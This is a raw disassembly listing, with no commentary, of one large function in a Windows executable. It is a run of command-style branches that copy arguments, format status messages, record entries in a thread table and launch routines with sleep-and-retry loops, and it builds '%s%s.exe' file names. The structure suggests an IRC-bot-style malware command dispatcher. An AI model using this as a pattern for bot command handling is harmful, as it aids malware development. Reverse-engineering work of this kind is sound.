		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26A0BAAh
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2660B67h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aSbrsfgf	; "sbrsfgf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26A0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2670E97h


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
